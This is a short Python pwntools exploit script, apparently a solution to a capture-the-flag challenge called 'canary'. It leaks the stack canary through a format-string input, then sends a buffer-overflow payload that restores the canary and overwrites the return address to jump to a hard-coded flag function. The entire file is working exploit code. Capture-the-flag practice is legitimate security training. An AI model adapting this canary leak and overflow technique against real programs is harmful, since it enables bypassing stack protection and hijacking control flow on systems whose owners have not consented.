from pwn import *

#p = remote('shell.actf.co', 20701)
p = process('./canary')

#gdb.attach(p)

flag = 0x400787

print p.recvuntil('name? ')
p.sendline('%17$lld')
print p.recvuntil('you, ')
canary = int(p.recvline().replace('!\n',''))

print 'canary = ', canary


payload = ''
payload += 'a'*0x38
payload += pack(canary, 'all', 'little', True)
payload += 'b'*0x8
payload += p64(flag)

p.sendline(payload)

print p.recvline()
